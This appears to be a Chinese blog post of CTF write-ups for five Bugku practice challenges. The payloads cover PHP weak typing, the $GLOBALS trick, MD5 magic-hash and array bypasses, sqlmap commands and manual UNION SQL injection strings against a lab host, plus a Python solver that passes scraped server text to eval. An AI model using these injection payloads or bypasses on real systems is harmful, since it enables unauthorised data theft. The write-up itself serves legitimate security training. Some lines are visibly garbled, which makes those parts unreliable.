Bugku 部分题解

Bugku 部分题解

1 web5

image-20210310163545465

由题意:

is_numeric() 函数用于检测变量是否为数字或数字字符串。

==为弱类型比较,payload为?num=1abc

2 web9
flag In the variable ! 
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?> 

由题意:

过滤了包括下划线的任何单词字符和 , 所 以 不 考 虑 常 规 方 法 。 提 示 f l a g 在 变 量 里 , 可 以 使 用 超 级 全 局 变 量 ,所以不考虑常规方法。提示flag在变量里,可以使用超级全局变量 ,flag使GLOBALS,引用全局作用域中可用的全部变量。var_dump() 函数用于输出变量的相关信息。

构造:?args=GLOBALS

3 web16

打开网页,提示备份文件,御剑台扫出index.php,猜测index.php.bak。

获得文件:

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/
 
include_once "flag.php";   //包含 flag.php 文件
ini_set("display_errors", 0);   //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?');     //判断URL里是否有问号,存在就返回给 $str
$str = substr($str,1);   //获取 ? 后面的值
$str = str_replace('key','',$str);       //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串echo md5($key1);       //将 key1 进行 MD5 加密并输出
 
echo md5($key2);                     //将 key2 进行 MD5 加密并输出if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";                      //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>

首先进行代码审计,发现只需传入两个变量, 众所周知,科学计数法是 e**** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个md5加密之后是 0e 开头的数字,就可以绕过限制了。

常见:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

所以构造payload:

?kkeyey1=240610708&kkeyey2=QNKCDZO

?kkeyey1[]=wsafe&kkeyey2[]=sjkfsfd

函数解析:

strstr(string,search,before_search)	//函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
substr(string,start,length)	//substr() 函数返回字符串的一部分。
str_replace(find,replace,string,count)	//函数替换字符串中的一些字符(区分大小写)。
parse_str(string,array)	//函数把查询字符串解析到变量中。
4 web17

本题考查sql注入,具体为union联合注入,可以选择sqlmap工具或者手工注入。

方法一:

第一步:查询数据库

python.exe sqlmap.py -u http://114.67.246.176:15686/index.php --data="id=1" --dbs

image-20210316122018014

第二步:查表

python.exe sqlmap.py -u http://114.67.246.176:15686/index.php --data="id=1" -D skctf --tables

image-20210316122035090

第三步:查数据

python.exe sqlmap.py -u http://114.67.246.176:15686/index.php --data="id=1" -D skctf --dump

image-20210316122100069

方法二:

第一步:判断是否有注入

1' and 1=1#   //返回正常
1' and 1=2#   //返回异常

第二步:猜测字段

1' order by 4#  //有回显
1' order by 5#  //无回显

第三步:查库

为方便修改,我们使用post注入

id=-1' union select 1,2,3,database()#

第四步:根据查到的库查表

id=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

第五步:查列

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #

第六步:查列中的数据

id=-1' union select 1,2,3,(select skctf_flag from fl4g)#
id=-1' union select 1,2,3,(select group_concat(skctf_flag) from fl4g)#
5 秋名山老司机
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
    "value": eval(searchObj.group(0))
    }
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)

调用requests库

创建一个会话对象s,以会话对象向url发出一个get请求

re.search扫描一个字符串返回第一个匹配成功的值,r.text为服务器返回页面的内容,这句代码的功能是在re.text中匹配我们需要的计算公式,r表示字符串为原始字符串,里面的""不再被认为转义字符

“\d+” 匹配一个或者多个字符
“[±*]” 匹配加号,加号,乘号,因为式子里面包含这三种运算,"-“在中括号里面为特殊符号,使用”"转义
“\d+” 再匹配一个字符或者多个字符
这样就满足了式子格式

创建一个字典d,键"value",键值为刚才匹配的式子的值

eval计算式子的值

"group(0)"表示匹配的结果,索引从0开始,这里指的匹配到的式子

以post的形式传给url一个值,参数data为默认参数不能修改

打印出r.text,里面的内容为成功提交计算结果的返回页面,里面存放着flag

参考链接:https://blog.youkuaiyun.com/STARSG0d/article/details/92683276

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值